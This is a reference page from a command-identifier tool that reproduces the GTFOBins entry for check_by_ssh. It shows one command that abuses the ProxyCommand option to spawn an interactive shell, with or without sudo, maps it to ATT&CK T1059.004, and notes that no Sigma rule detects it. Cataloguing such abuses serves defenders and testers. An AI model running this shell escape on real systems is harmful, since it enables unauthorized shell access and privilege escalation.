Ceplin Command Identifier

Identifier / Programs / Linux and Unix

check_by_ssh

GTFOBins shell 1 ATT&CK technique 1 documented command

Opens the identifier with your command. It is read in your browser and sent nowhere.

How check_by_ssh is abused

documented by GTFOBins

shell T1059.004 Command and Scripting Interpreter: Unix Shell

-o
-i
-H
-C

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for check_by_ssh.

1 documented command

from GTFOBins, each read by the identifier

shell unprivileged, with sudo

The shell will only last 10 seconds.

check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C x
Identify

The command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for check_by_ssh. The identifier reads the line that runs check_by_ssh.

What detects it

Sigma process creation rules
T1059.004Command and Scripting Interpreter: Unix Shell

Other programs abused for shell

aa-exec · agetty · ansible-playbook · ansible-test · aoss · apt · apt-get · arch-nspawn · asterisk · at · autoconf · autoheader · autoreconf · awk · borg · bpftrace